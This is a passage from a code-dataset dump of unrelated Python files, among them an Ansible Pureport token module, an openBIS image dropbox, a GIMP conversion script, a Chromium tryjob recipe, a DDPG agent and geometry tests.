Message=json.dumps(message))\n","sub_path":"publish_service/publish_service_to_aws.py","file_name":"publish_service_to_aws.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"82391680","text":"#!/usr/bin/python\n#\n# Copyright: Pureport\n# GNU General Public License v3.0+ (see licenses/gpl-3.0-standalone.txt or https://www.gnu.org/licenses/gpl-3.0.txt)\n#\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n\nANSIBLE_METADATA = {\n 'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'Pureport'\n}\n\nDOCUMENTATION = '''\n---\nmodule: access_token_info\nshort_description: Retrieve an access token to use with the Pureport API\ndescription:\n - \"Retrieve an access token to use with the Pureport API\"\nversion_added: \"2.8\"\nrequirements: [ pureport-client ]\nauthor: Matt Traynham (@mtraynham)\noptions:\n api_base_url:\n description:\n - The host url for the Pureport API.\n required: false\n type: str\n api_key:\n description:\n - The pre-configured API Key for a Pureport Account.\n required: true\n type: str\n api_secret:\n description:\n - The pre-configured API Secret for a Pureport Account.\n required: true\n type: str\n'''\n\nEXAMPLES = '''\n- name: Retrieve the access token for an api key and secret\n access_token_info:\n api_key: XXXXXXXXXXXXX\n api_secret: XXXXXXXXXXXXXXXXX\n register: result # Registers result.access_token\n\n- name: Set the access token as a fact\n set_fact:\n access_token: result.access_token\n'''\n\nRETURN = '''\naccess_token:\n description:\n - An access token that can be used with other Pureport facts.\n returned: success\n type: str\n'''\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom traceback import format_exc\n\ntry:\n from pureport.api.client import Client\n from pureport.exception.api import ClientHttpException\n HAS_PUREPORT_CLIENT = True\nexcept ImportError:\n HAS_PUREPORT_CLIENT = False\n Client = None\n ClientHttpException = None\n\n\ndef main():\n argument_spec = dict(\n api_base_url=dict(type='str'),\n api_key=dict(type='str', required=True),\n api_secret=dict(type='str', required=True, no_log=True)\n )\n mutually_exclusive = []\n module = AnsibleModule(\n argument_spec=argument_spec,\n mutually_exclusive=mutually_exclusive\n )\n if not HAS_PUREPORT_CLIENT:\n module.fail_json(msg='pureport-client required for this module')\n client = Client(module.params.get('api_base_url'))\n try:\n module.exit_json(access_token=client.login(module.params.get('api_key'), module.params.get('api_secret')))\n except ClientHttpException as e:\n module.fail_json(msg=e.response.text, exception=format_exc())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"fabric/plugins/modules/access_token_info.py","file_name":"access_token_info.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"10578619","text":"#!/usr/bin/env python\n\nPLATE_GEOMETRY_PROPERTY_CODE = \"$PLATE_GEOMETRY\"\nPLATE_GEOMETRY = \"384_WELLS_16X24\"\n\n\"\"\"\nAn Jython dropbox for importing HCS image datasets for use by the TransformedImageRepresentationsTest\n\nThe folder loaded to the dropbox folder should have the same name as the plate that the data will be attached to.\n\"\"\"\n\nimport os\nfrom ch.systemsx.cisd.openbis.dss.etl.dto.api.v1 import SimpleImageDataConfig, ImageMetadata, Location, Channel, ChannelColor, ChannelColorComponent\nfrom ch.systemsx.cisd.openbis.plugin.screening.shared.api.v1.dto import Geometry\nfrom ch.systemsx.cisd.openbis.dss.etl.dto.api.v1.transformations import ImageTransformationBuffer\nfrom ch.systemsx.cisd.openbis.dss.etl.dto.api.v1.thumbnails import ResolutionBasedThumbnailsConfiguration\n\n \nclass ImageDataSetFlexible(SimpleImageDataConfig):\n def extractImageMetadata(self, imagePath):\n \"\"\"\n Extracts tile number, channel code and well code for a given relative path to an image.\n Will be called for each file found in the incoming directory which has the allowed image extension.\n \n Example file name: bDZ01-1A_wD17_s3_z123_t321_cGFP\n Returns:\n ImageMetadata\n \"\"\"\n image_tokens = ImageMetadata()\n \n basename = os.path.splitext(imagePath)[0]\n # \n token_dict = {}\n for token in basename.split(\"_\"):\n token_dict[token[:1]] = token[1:]\n \n image_tokens.well = token_dict[\"w\"]\n fieldText = token_dict[\"s\"]\n try:\n image_tokens.tileNumber = int(fieldText)\n except ValueError:\n raise Exception(\"Cannot parse field number from '\" + fieldText + \"' in '\" + basename + \"' file name.\")\n \n image_tokens.channelCode = token_dict[\"c\"]\n return image_tokens\n\n def getTileGeometry(self, imageTokens, maxTileNumber):\n \"\"\"\n Overrides the default implementation which returns (1, maxTileNumber) geometry.\n \n Calculates the width and height of the matrix of tiles (a.k.a. fields or sides) in the well.\n \n Parameter imageMetadataList: a list of metadata for each encountered image\n Parameter maxTileNumber: the biggest tile number among all encountered images\n Returns:\n Geometry\n \"\"\"\n return Geometry.createFromRowColDimensions(1, 1);\n \n def getTileCoordinates(self, tileNumber, tileGeometry):\n \"\"\"\n Overrides the default implementation which does the same thing (to demonstrate how this can be done). \n \n For a given tile number and tiles geometry returns (x,y) which describes where the tile is\n located on the well.\n \n Parameter tileNumber: number of the tile\n Parameter tileGeometry: the geometry of the well matrix\n Returns:\n Location\n \"\"\"\n columns = tileGeometry.getWidth()\n row = ((tileNumber - 1) / columns) + 1\n col = ((tileNumber - 1) % columns) + 1\n return Location(row, col)\n \n\ndef getAvailableChannelTransformations():\n \"\"\"\n Create a collection of transformations that are applicable to the image\n \"\"\"\n transforms = ImageTransformationBuffer()\n transforms.appendImageMagicConvert(\"-edge 1\", \"Edge detection\")\n transforms.appendImageMagicConvert(\"-radial-blur 30\", \"Radial Blur\")\n transforms.appendImageMagicConvert(\"-blur 3x.7 -solarize 50% -level 50%,0\", \"Fuzzy\")\n transforms.appendImageMagicConvert(\"-shade 0x45\", \"3D 1\")\n transforms.appendImageMagicConvert(\"-shade 90x60\", \"3D 2\")\n transforms.appendImageMagicConvert(\"-blur 0x3 -shade 120x45 -normalize\", \"3D 3\")\n transforms.appendImageMagicConvert(\"-motion-blur 0x12+45\", \"Motion Blur\")\n transforms.appendImageMagicConvert(\"-fft -delete 1 -auto-level -evaluate log 100000\", \"FFT\")\n \n return transforms.getTransformations()\n \ndef create_experiment(tr):\n space = tr.getSpace(\"TEST\")\n if space == None:\n space = tr.createNewSpace(\"TEST\", \"etlserver\")\n project = tr.getProject(\"/TEST/TEST-PROJECT\")\n if project == None:\n project = tr.createNewProject(\"/TEST/TEST-PROJECT\")\n expid = \"/TEST/TEST-PROJECT/TRANSFORMED_THUMBNAILS_EXP\"\n\n exp = tr.createNewExperiment(expid, 'SIRNA_HCS')\n exp.setPropertyValue(\"DESCRIPTION\", \"Test experiment\")\n \n return exp\n\ndef create_plate(tr, experiment, plateCode):\n plateId = \"/TEST/TEST-PROJECT/\" + plateCode\n plate = tr.createNewSample(plateId, 'PLATE')\n plate.setPropertyValue(PLATE_GEOMETRY_PROPERTY_CODE, PLATE_GEOMETRY)\n plate.setExperiment(experiment)\n \n wellA1 = tr.createNewSample(plate.getSampleIdentifier() + \":A1\", \"SIRNA_WELL\")\n wellA1.setContainer(plate)\n\n wellA2 = tr.createNewSample(plate.getSampleIdentifier() + \":A2\", \"SIRNA_WELL\")\n wellA2.setContainer(plate)\n \n return plate\n\n \nif incoming.isDirectory(): \n tr = service.transaction()\n experiment = create_experiment(tr)\n plate = create_plate(tr, experiment, 'TRANSFORMED-THUMB-PLATE')\n tr.commit()\n \n \n imageDataset = ImageDataSetFlexible()\n imageDataset.setRawImageDatasetType()\n imageDataset.setPlate(\"TEST/TEST-PROJECT\", 'TRANSFORMED-THUMB-PLATE')\n imageDataset.setColorDepth(8)\n transforms = getAvailableChannelTransformations()\n # We want thumbnails generarted for the following resolutions, and they should be JPEG and have the\n # Radial Blur transform applied\n for resolution in ['64x64', '128x128', '256x256']:\n representation = imageDataset.addGeneratedImageRepresentationWithResolution(resolution)\n for channel in [\"DAPI\", \"GFP\", \"Cy5\"]:\n representation.setTransformation(channel, transforms[1].getCode())\n representation.setFileFormat('JPEG')\n\n imageRegistrationDetails = factory.createImageRegistrationDetails(imageDataset, incoming)\n datasetInfo = imageRegistrationDetails.getDataSetInformation()\n channels = [ Channel(code, code) for code in [\"DAPI\", \"GFP\", \"Cy5\"]]\n colorComponents = [ ChannelColorComponent.BLUE, ChannelColorComponent.GREEN, ChannelColorComponent.RED]\n \n # Add transforms to the channels\n for channel in channels:\n channel.setAvailableTransformations(transforms)\n \n datasetInfo.setChannels(channels, colorComponents)\n \n factory.registerImageDataset(imageRegistrationDetails, incoming, service)\n","sub_path":"screening/sourceTest/core-plugins/TransformedImageRepresentationsTest/1/dss/drop-boxes/TransformedImageRepresentationsTest-drop-box/data-set-handler.py","file_name":"data-set-handler.py","file_ext":"py","file_size_in_byte":6060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"346806691","text":"# flake8: noqa\nimport os\nimport gimpfu\n\nfrom glob import glob\n\n\ndef convert(filename):\n img = pdb.gimp_file_load(filename, filename)\n new_name = os.path.basename(filename.rsplit(\".\", 1)[0] + \".png\")\n layer = pdb.gimp_image_merge_visible_layers(img, gimpfu.CLIP_TO_IMAGE)\n\n pdb.gimp_file_save(img, layer, new_name, new_name)\n pdb.gimp_image_delete(img)\n\nfor filename in glob(\"gimp/*.xcf\"):\n convert(filename)\n\npdb.gimp_quit(1)\n","sub_path":"tools/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"385776018","text":"# below lines are required by every tests to import sibling package\nfrom pb import common_pb2\nfrom pb import rpc_pb2\nfrom framework import asserts\nfrom framework import context\nfrom framework import rpc\nfrom framework import util\nfrom framework import validatornode\nfrom framework import beaconnode\nfrom framework import logger\nfrom framework import tester\nimport sys\nsys.path.append('..')\nsys.path.append('../pb')\n\n\nclass RpcGetValidatorInformation:\n def __init__(self):\n logger.set_verbose(True)\n\n def run(self):\n ctx = context.Context(\n #directory = '/tmp/synapse',\n #delete_data_on_exit = False\n )\n self._tester = tester.Tester(ctx)\n self._tester.run(self._do_run)\n\n def _do_run(self):\n beacon_config = util.decode_json(util.read_file('data/regtest.json'))\n beacon_config['NetworkID'] = 'testnet'\n beacon_config['GenesisTime'] = 1566275808\n beacon_node_list = self._tester.create_nodes(\n 1,\n node_class=beaconnode.BeaconNode,\n node_config_list=[beacon_config]\n )\n\n self._tester.start_all_nodes()\n util.sleep_for_seconds(5)\n\n rpc_client = rpc.create_beacon_rpc(beacon_node_list[0].get_rpc_address())\n self.test_invalid_id(rpc_client)\n self.test_wrong_request_type(rpc_client)\n\n def test_invalid_id(self, rpc_client):\n request = rpc_pb2.GetValidatorRequest()\n request.ID = 1000000\n try:\n response = rpc_client.GetValidatorInformation(request)\n except Exception as e:\n asserts.assert_exception_contain_text(e, \"could not find validator with ID\")\n\n def test_wrong_request_type(self, rpc_client):\n logger.error('The RPC should return error here instead of accepting the request successfully.')\n\n request = rpc_pb2.MempoolRequest()\n request.LastBlockHash = util.make_random_hash()\n try:\n response = rpc_client.GetValidatorInformation(request)\n except Exception as e:\n asserts.assert_exception_contain_text(e, \"could not find validator with ID\")\n\n\nRpcGetValidatorInformation().run()\n","sub_path":"integratation/tests/rpc_getvalidatorinformation.py","file_name":"rpc_getvalidatorinformation.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"167282180","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\nimport tensorflow as tf\n\nnode1 = tf.constant(3.0, dtype=tf.float32)\nnode2 = tf.constant(4.0) # also tf.float32 implicitly\n#print(node1, node2)\n\nsess = tf.Session()\n#print(sess.run([node1, node2]))\n\nnode3 = tf.add(node1, node2)\n#print(\"node3: \", node3)\n#print(\"sess.run(node3): \",sess.run(node3))\n\na = tf.placeholder(tf.float32)\nb = tf.placeholder(tf.float32)\nadder_node = a + b # + provides a shortcut for tf.add(a, b)\n\n#print(sess.run(adder_node, {a: 3, b:4.5}))\n#print(sess.run(adder_node, {a: [1,3], b: [2, 4]}))\n\nadd_and_triple = adder_node * 3.\n#print(sess.run(add_and_triple, {a: 3, b:4.5}))\n\n\n#Constants are initialized when you call tf.constant, and their value can never change. \n#Variables are not initialized when you call tf.Variable. \n\nW = tf.Variable([.3], dtype=tf.float32)\nb = tf.Variable([-.3], dtype=tf.float32)\nx = tf.placeholder(tf.float32)\nlinear_model = W * x + b\n\n#To initialize all the variables in a TensorFlow program, you must explicitly call a special operation as follows:\n\ninit = tf.global_variables_initializer()\nsess.run(init)\n\n#Since x is a placeholder, we can evaluate linear_model for several values of x simultaneously as follows:\n\nprint(sess.run(linear_model, {x:[1,2,3,4]}))\n\ny = tf.placeholder(tf.float32) #desired values\n\n#A loss function measures how far apart the current model is from the provided data. \n#We'll use a standard loss model for linear regression, which sums the squares of the deltas between the current model and the provided data. \n#linear_model - y creates a vector where each element is the corresponding example's error delta. \n#We call tf.square to square that error. Then, we sum all the squared errors to create a single scalar that abstracts the error of all examples using tf.reduce_sum:\n\nsquared_deltas = tf.square(linear_model - y)\nloss = tf.reduce_sum(squared_deltas) #loss function \nprint(sess.run(loss, {x:[1,2,3,4], y:[0,-1,-2,-3]}))\n\n#We could improve this manually by reassigning the values of W and b to the perfect values of -1 and 1. \n#A variable is initialized to the value provided to tf.Variable but can be changed using operations like tf.assign.\n\nfixW = tf.assign(W, [-1.])\nfixb = tf.assign(b, [1.])\nsess.run([fixW, fixb])\nprint(sess.run(loss, {x:[1,2,3,4], y:[0,-1,-2,-3]}))","sub_path":"TF-cheatsheets/tfBasic.py","file_name":"tfBasic.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"44465810","text":"# Copyright 2013 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport base64\nimport zlib\n\n\nDEPS = [\n 'chromite',\n 'gitiles',\n 'recipe_engine/json',\n 'recipe_engine/properties',\n]\n\n# Map master name to 'chromite' configuration name.\n_MASTER_CONFIG_MAP = {\n 'chromiumos.tryserver': {\n 'master_config': 'chromiumos_tryserver',\n },\n}\n\n\n# Testing: Tryjob data file JSON.\n_TRYJOB_DATA = \"\"\"\n{\n \"name\": \"12345\",\n \"email\": \"testauthor@fake.chromium.org\",\n \"extra_args\": [\n \"--timeout\",\n \"14400\",\n \"--remote-trybot\",\n \"--remote-version=4\"\n ]\n}\n\"\"\"\n\n# JSON string containing sufficient Chromite configuration layout for our test\n# configs.\n_CHROMITE_CONFIG = {\n '_default': {\n 'type': 'undefined',\n },\n '_templates': {\n 'full': {\n 'type': 'full',\n },\n 'paladin': {\n 'type': 'paladin',\n },\n },\n 'x86-generic-full': {\n '_template': 'full',\n },\n 'internal-paladin': {\n '_template': 'paladin',\n 'internal': True,\n },\n}\n\n\ndef RunSteps(api):\n # The 'cbuildbot' config name to build is the name of the builder.\n #\n # TODO(dnj): After we fully switch to BuildBucket scheduling, load the config\n # name from the BuildBucket job instead of `cbb_config` build\n # property. We can't do this yet b/c the job description can\n # specify multiple configs in one tryjob, so there's no way for us\n # to know which one we are.\n cbb_config_name = api.properties.get('cbb_config')\n assert cbb_config_name, \"No configuration name specified.\"\n\n # Apply our generic configuration.\n api.chromite.configure(\n api.properties,\n _MASTER_CONFIG_MAP)\n api.chromite.c.cbb.config = cbb_config_name\n\n # Load the Chromite configuration for our target.\n api.chromite.checkout_chromite()\n cbb_config = api.chromite.load_config(cbb_config_name)\n\n # Add parameters specified in the tryjob description.\n tryjob_args = api.properties.get('cbb_extra_args', [])\n if tryjob_args:\n if tryjob_args.startswith('z:'):\n tryjob_args = zlib.decompress(base64.b64decode(tryjob_args[2:]))\n tryjob_args = api.json.loads(tryjob_args)\n\n # Determine our build directory name based on whether this build is internal\n # or external.\n #\n # We have two checkout options: internal and external. By default we will\n # infer which to use based on the Chromite config. However, the pinned\n # Chromite config may not be up to date. If the value cannot be inferred, we\n # will \"quarantine\" the build by running it in a separate \"etc_master\"\n # build root and instructing `cbuildbot` to clobber beforehand.\n #\n # TODO: As the configuration owner, Chromite should be the entity to make the\n # internal/external buildroot decision. A future iteration should add flags\n # to Chromite to inform it of the internal/external build roots on the slave\n # and defer to it to decide which to use based on the config that it is\n # executing.\n if not api.chromite.c.cbb.builddir:\n if cbb_config:\n namebase = 'internal' if cbb_config.get('internal') else 'external'\n api.chromite.c.cbb.builddir = '%s_master' % (namebase,)\n else:\n api.chromite.c.cbb.builddir = 'etc_master'\n api.chromite.c.cbb.clobber = True\n\n # Run our 'cbuildbot'.\n api.chromite.run(args=tryjob_args)\n\n\ndef GenTests(api):\n # Test a CrOS tryjob.\n yield (\n api.test('external')\n + api.properties(\n mastername='chromiumos.tryserver',\n buildername='full',\n slavename='test',\n repository='https://chromium.googlesource.com/chromiumos/tryjobs.git',\n revision=api.gitiles.make_hash('test'),\n cbb_config='x86-generic-full',\n cbb_extra_args='[\"--timeout\", \"14400\", \"--remote-trybot\",'\n '\"--remote-version=4\"]',\n )\n + api.chromite.seed_chromite_config(_CHROMITE_CONFIG)\n )\n\n yield (\n api.test('internal')\n + api.properties(\n mastername='chromiumos.tryserver',\n buildername='paladin',\n slavename='test',\n repository='https://chromium.googlesource.com/chromiumos/tryjobs.git',\n revision=api.gitiles.make_hash('test'),\n cbb_config='internal-paladin',\n cbb_extra_args='[\"--timeout\", \"14400\", \"--remote-trybot\",'\n '\"--remote-version=4\"]',\n )\n + api.chromite.seed_chromite_config(_CHROMITE_CONFIG)\n )\n\n # Test a CrOS tryjob with compressed \"cbb_extra_args\".\n yield (\n api.test('basic_compressed')\n + api.properties(\n mastername='chromiumos.tryserver',\n buildername='full',\n slavename='test',\n repository='https://chromium.googlesource.com/chromiumos/tryjobs.git',\n revision=api.gitiles.make_hash('test'),\n cbb_config='x86-generic-full',\n cbb_extra_args=(\n 'z:eJyLVtLVLcnMTc0vLVHSUVAyNDExMAAxdHWLUnPzS1J1S4oqk/JLUITKUouKM'\n '/PzbE2UYgFJaBNI'),\n )\n + api.chromite.seed_chromite_config(_CHROMITE_CONFIG)\n )\n\n # Test a config that is not registered in Chromite.\n yield (\n api.test('unknown_config')\n + api.properties(\n mastername='chromiumos.tryserver',\n buildername='etc',\n slavename='test',\n repository='https://chromium.googlesource.com/chromiumos/tryjobs.git',\n revision=api.gitiles.make_hash('test'),\n cbb_config='xxx-fakeboard-fakebuild',\n cbb_extra_args='[\"--timeout\", \"14400\", \"--remote-trybot\",'\n '\"--remote-version=4\"]',\n )\n + api.chromite.seed_chromite_config(_CHROMITE_CONFIG)\n )\n","sub_path":"build/scripts/slave/recipes/cros/cbuildbot_tryjob.py","file_name":"cbuildbot_tryjob.py","file_ext":"py","file_size_in_byte":5686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"445742856","text":"import numpy as np\nimport random\nfrom collections import deque\nimport time\n\nfrom models.linear_model import Actor, Critic\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom agents.utility import OUNoise, ReplayBuffer\n\nBUFFER_SIZE = int(1e6) # replay buffer size\nBATCH_SIZE = 128 # minibatch size\nGAMMA = 0.99 # discount factor\nTAU = 1e-3 # for soft update of target parameters\nLR_ACTOR = 1e-3 # learning rate of the actor \nLR_CRITIC = 1e-3 # learning rate of the critic\nWEIGHT_DECAY = 0 # L2 weight decay\nLEARN_AFTER_TS = 10 # learn after a given amount of time steps\nNR_UPDATES = 10 # sample experience and learn from it this many times\n\nEPOCHS = 10\nEPISODES_PER_EPOCH = 100\nTIMESTEPS_PER_EPISODE = 1000\nTOTAL_EPISODES = EPOCHS * EPISODES_PER_EPOCH\n\n\nGRAD_CLIP_THRESHOLD = 1.0\n\n\nclass DDPGAgentCollective():\n \"\"\"Interacts with and learns from the environment.\"\"\"\n \n def __init__(self, device, num_agents, state_size, action_size, random_seed):\n \"\"\"Initialize an Agent object.\n \n Params\n ======\n state_size (int): dimension of each state\n action_size (int): dimension of each action\n random_seed (int): random seed\n \"\"\"\n self.epsilon = 1.0\n self.device = device\n self.num_agents = num_agents\n self.state_size = state_size\n self.action_size = action_size\n self.seed = random.seed(random_seed)\n\n # Actor Network (w/ Target Network)\n self.actor_local = Actor(state_size, action_size, random_seed).to(device)\n self.actor_target = Actor(state_size, action_size, random_seed).to(device)\n self.actor_optimizer = optim.Adam(self.actor_local.parameters(), lr=LR_ACTOR)\n\n # Critic Network (w/ Target Network)\n self.critic_local = Critic(state_size, action_size, random_seed).to(device)\n self.critic_target = Critic(state_size, action_size, random_seed).to(device)\n self.critic_optimizer = optim.Adam(self.critic_local.parameters(), lr=LR_CRITIC, weight_decay=WEIGHT_DECAY)\n\n # Noise process\n self.noise = OUNoise(action_size, random_seed)\n\n # Replay memory\n self.memory = ReplayBuffer(device, action_size, BUFFER_SIZE, BATCH_SIZE, random_seed)\n \n def step(self, states, actions, rewards, next_states, dones, timestep):\n \"\"\"Save experience in replay memory, and use random sample from buffer to learn.\"\"\"\n\n # Save experience / reward\n for i in range(len(states)): \n self.memory.add(states[i], actions[i], rewards[i], next_states[i], dones[i])\n\n # Learn, if enough samples are available in memory\n if len(self.memory) > BATCH_SIZE and timestep % LEARN_AFTER_TS == 0: \n for _ in range(NR_UPDATES):\n experiences = self.memory.sample()\n self.learn(experiences, GAMMA)\n\n def act(self, states, add_noise=True):\n \"\"\"Returns actions for given state as per current policy.\"\"\"\n state = torch.from_numpy(states).float().to(self.device)\n self.actor_local.eval()\n with torch.no_grad():\n action = self.actor_local(state).cpu().data.numpy()\n self.actor_local.train()\n if add_noise:\n action += self.epsilon * self.noise.sample()\n return np.clip(action, -1, 1)\n\n def reset(self):\n self.noise.reset()\n\n def learn(self, experiences, gamma):\n \"\"\"Update policy and value parameters using given batch of experience tuples.\n Q_targets = r + γ * critic_target(next_state, actor_target(next_state))\n where:\n actor_target(state) -> action\n critic_target(state, action) -> Q-value\n\n Params\n ======\n experiences (Tuple[torch.Tensor]): tuple of (s, a, r, s', done) tuples \n gamma (float): discount factor\n \"\"\"\n states, actions, rewards, next_states, dones = experiences\n\n # ---------------------------- update critic ---------------------------- #\n # Get predicted next-state actions and Q values from target models\n actions_next = self.actor_target(next_states)\n Q_targets_next = self.critic_target(next_states, actions_next)\n # Compute Q targets for current states (y_i)\n Q_targets = rewards + (gamma * Q_targets_next * (1 - dones))\n # Compute critic loss\n Q_expected = self.critic_local(states, actions)\n critic_loss = F.mse_loss(Q_expected, Q_targets)\n # Minimize the loss\n self.critic_optimizer.zero_grad()\n critic_loss.backward() \n # gradient clipping for critic\n if GRAD_CLIP_THRESHOLD > 0:\n torch.nn.utils.clip_grad_norm_(self.critic_local.parameters(), GRAD_CLIP_THRESHOLD)\n self.critic_optimizer.step()\n\n # ---------------------------- update actor ---------------------------- #\n # Compute actor loss\n actions_pred = self.actor_local(states)\n actor_loss = -self.critic_local(states, actions_pred).mean()\n # Minimize the loss\n self.actor_optimizer.zero_grad()\n actor_loss.backward()\n self.actor_optimizer.step()\n\n # ----------------------- update target networks ----------------------- #\n self.soft_update(self.critic_local, self.critic_target, TAU)\n self.soft_update(self.actor_local, self.actor_target, TAU)\n\n self.epsilon *= 0.99\n self.noise.reset() \n\n def soft_update(self, local_model, target_model, tau):\n \"\"\"Soft update model parameters.\n θ_target = τ*θ_local + (1 - τ)*θ_target\n\n Params\n ======\n local_model: PyTorch model (weights will be copied from)\n target_model: PyTorch model (weights will be copied to)\n tau (float): interpolation parameter \n \"\"\"\n for target_param, local_param in zip(target_model.parameters(), local_model.parameters()):\n target_param.data.copy_(tau*local_param.data + (1.0-tau)*target_param.data)\n\n def save_current_model(self, path, model_name):\n \"\"\"Save the models of the actor and the critic network which belong to the\n training model called model_name to the path.\n \n Params\n ======\n model_name: name of the current model which is being trained\n path: path where we want to save the \n \n \"\"\"\n torch.save(self.actor_local.state_dict(), path + model_name + '_actor.pth')\n torch.save(self.critic_local.state_dict(), path + model_name + '_critic.pth')\n pass\n\n def train(self, env, brain_name, target_score):\n \"\"\"Save the models of the actor and the critic network which belong to the\n training model called model_name to the path.\n \n Params\n ======\n env: game environment\n brain_name: name of the unity brain\n target_score: average score we require the agent to get so the environment is treated as solved \n \"\"\"\n scores_deque = deque(maxlen=EPISODES_PER_EPOCH)\n all_scores = []\n solved = False\n\n for i_episode in range(1, TOTAL_EPISODES+1):\n env_info = env.reset(train_mode=True)[brain_name] # reset the environment \n states = env_info.vector_observations # get the current state (for each agent)\n self.reset() \n scores = np.zeros(self.num_agents) # initialize the score (for each agent)\n \n start_time = time.time()\n for t in range(TIMESTEPS_PER_EPISODE):\n\n actions = self.act(states)\n\n env_info = env.step(actions)[brain_name] # send all actions to tne environment\n next_states = env_info.vector_observations # get next state (for each agent)\n rewards = env_info.rewards # get reward (for each agent)\n dones = env_info.local_done # see if episode finished\n \n self.step(states, actions, rewards, next_states, dones, t)\n\n states = next_states\n scores += rewards\n if np.any(dones):\n break \n \n duration_episode = time.time() - start_time\n #Store the scores\n scores_deque.append(scores)\n all_scores.append(scores)\n\n #Print for overview and check if environment solved\n score_over_last_epoch = np.mean(scores_deque)\n \n if score_over_last_epoch >= target_score and not solved:\n episode_env_solved = i_episode\n solved = True\n print('\\rEpisode {}\\tAverage Score: {:.2f} \\tEpisode duration {}s \\tEstimated time left: {}s'.format(i_episode, score_over_last_epoch, round(duration_episode), round((TOTAL_EPISODES-i_episode)*duration_episode)), end=\"\")\n if i_episode % EPISODES_PER_EPOCH == 0:\n torch.save(self.actor_local.state_dict(), 'checkpoint_actor.pth')\n torch.save(self.critic_local.state_dict(), 'checkpoint_critic.pth')\n print('\\rEpisode {}\\tAverage Score: {:.2f}'.format(i_episode, score_over_last_epoch))\n if solved:\n print(\"Environment Solved after {} Epochs and {} Episodes!\".format(i_episode/EPISODES_PER_EPOCH, episode_env_solved))\n break\n \n return all_scores, episode_env_solved\n\n","sub_path":"agents/ddpg_agent.py","file_name":"ddpg_agent.py","file_ext":"py","file_size_in_byte":9664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"82860506","text":"from euclid import *\nfrom geometry import *\n\nclass TestTriangle:\n def test_points(self):\n triangle = Triangle(Point3(0, 0, 0), Point3(0, 2, 0), Point3(0, 0, 2))\n assert triangle.a == Point3(0, 0, 0)\n assert triangle.b == Point3(0, 2, 0)\n assert triangle.c == Point3(0, 0, 2)\n\n def test_plane(self):\n triangle = Triangle(Point3(0, 0, 0), Point3(0, 2, 0), Point3(0, 0, 2))\n assert triangle.plane() == Plane(Point3(0, 0, 0), Point3(0, 1, 0), Point3(0, 0, 1))\n\n def test_contains(self):\n triangle = Triangle(Point3(0, 0, 0), Point3(0, 2, 0), Point3(0, 0, 2))\n assert triangle.contains(Point3(0, 1, 0))\n assert not triangle.contains(Point3(0, 3, 3))\n assert triangle.contains(Point3(0, 1, 1))\n assert not triangle.contains(Point3(1, 0, 1))\n\n def test_intersect(self):\n triangle = Triangle(Point3(0, 0, 0), Point3(0, 2, 0), Point3(0, 0, 2))\n line = Line3(Point3(1, 1, 1), Point3(2, 1, 1))\n assert triangle.intersect(line) == (Point3(0, 1, 1), Vector3(1, 0, 0))\n line = Line3(Point3(1, 2, 2), Point3(2, 2, 2)) # Intercepts plane outside triangle\n assert triangle.intersect(line)[0] is None\n line = Line3(Point3(1, 0, 0), Point3(1, 1, 1)) # Parallel line\n assert triangle.intersect(line)[0] is None\n\n def test_cmp(self):\n t1 = Triangle(Point3(0, 0, 0), Point3(0, 2, 0), Point3(0, 0, 2))\n t2 = Triangle(Point3(0, 2, 0), Point3(0, 0, 0), Point3(0, 0, 2))\n assert t1 == t2\n t3 = Triangle(Point3(0, 0, 0), Point3(0, 2, 0), Point3(0, 0, 3))\n assert t1 != t3\n\nclass TestPyramid:\n def test_faces(self):\n pyramid = Pyramid(Point3(0, 0, 0), Point3(0, 0, 2), Point3(0, 2, 0), Point3(2, 0, 0))\n faces = pyramid.faces()\n faces.sort()\n expected_faces = [\n Triangle(Point3(0, 0, 0), Point3(0, 0, 2), Point3(0, 2, 0)),\n Triangle(Point3(0, 0, 0), Point3(2, 0, 0), Point3(0, 0, 2)),\n Triangle(Point3(0, 0, 0), Point3(0, 2, 0), Point3(2, 0, 0)),\n Triangle(Point3(0, 0, 2), Point3(2, 0, 0), Point3(0, 2, 0)),\n ]\n expected_faces.sort()\n assert faces == expected_faces\n\n def test_intersect(self):\n pyramid = Pyramid(Point3(0, 0, 0), Point3(0, 0, 3), Point3(0, 3, 0), Point3(3, 0, 0))\n ray = Ray3(Point3(-2, 1, 1), Point3(-1, 1, 1))\n assert pyramid.intersect(ray) == (Point3(0, 1, 1), Vector3(-1, 0, 0))\n\n def test_intersect_with_other_face(self):\n pyramid = Pyramid(Point3(0, 0, 0), Point3(0, 0, 3), Point3(0, 3, 0), Point3(3, 0, 0))\n ray = Ray3(Point3(1, 5, 1), Vector3(0, -1, 0))\n assert pyramid.intersect(ray) == (Point3(1, 1, 1), Vector3(1, 1, 1).normalize())\n\n def test_intersect_with_wrong_direction(self):\n pyramid = Pyramid(Point3(0, 0, 0), Point3(0, 0, 2), Point3(0, 2, 0), Point3(2, 0, 0))\n ray = Ray3(Point3(1, 2, 1), Point3(1, 3, 1))\n assert pyramid.intersect(ray)[0] is None\n\n def test_intersect_with_no_intersection(self):\n pyramid = Pyramid(Point3(0, 0, 0), Point3(0, 0, 2), Point3(0, 2, 0), Point3(2, 0, 0))\n ray = Ray3(Point3(2, 2, 2), Point3(2, 2, 1))\n assert 